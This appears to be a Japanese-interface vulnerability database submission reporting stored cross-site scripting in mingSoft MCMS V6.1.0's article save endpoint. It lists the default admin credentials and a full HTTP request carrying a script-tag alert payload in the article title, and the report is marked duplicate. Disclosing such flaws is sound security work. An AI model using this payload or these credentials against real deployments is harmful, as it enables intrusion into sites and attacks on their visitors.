| タイトル | code-projects mingSoft MCMS V6.1.0 Cross Site Scripting |
|---|
| 説明 | Download the source code from https://gitee.com/mingSoft/MCMS and deploy it locally for testing. The default administrator username and password are msopen/msopen.
Add a new article in the article management module of the backend. The article title is not filtered in any way, so any XSS payload can easily trigger it. Then, accessing the homepage will trigger an XSS attack.
POST /ms/cms/content/save.do HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 311
sec-ch-ua-platform: "Windows"
Cache-Control: no-cache
Pragma: no-cache
sec-ch-ua: "Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"
sec-ch-ua-mobile: ?0
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/x.x.x.x Safari/537.36
Accept: application/json, text/plain, */*
Content-Type: application/x-www-form-urlencoded
Origin: http://127.0.0.1:8080
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:8080/ms/cms/content/index.do?
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8
Cookie: pageno_cookie=1; SHIRO_SESSION_ID=21278f9c-dd94-4a85-a5e9-556c95583048
Connection: keep-alive
contentTitle=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&contentShortTitle=&categoryId=1329316146811314177&contentType=&contentDisplay=0&contentAuthor=&contentSource=&contentSort=0&contentTags=&contentImg=&contentDescription=&contentKeyword=&contentDetails=&contentOutLink=&contentDatetime=2025-11-07%2020%3A34%3A44 |
|---|
| ソース | ⚠️ https://gitee.com/mingSoft/MCMS/issues/ID7OBM |
|---|
| ユーザー | NasYh (UID 92820) |
|---|
| 送信 | 2025年11月20日 13:35 (11 月 ago) |
|---|
| モデレーション | 2025年12月06日 14:54 (16 days later) |
|---|
| ステータス | 重複 |
|---|
| VulDBエントリ | 216499 [Mingsoft MCMS 5.2.9 Article save クロスサイトスクリプティング] |
|---|
| ポイント | 0 |
|---|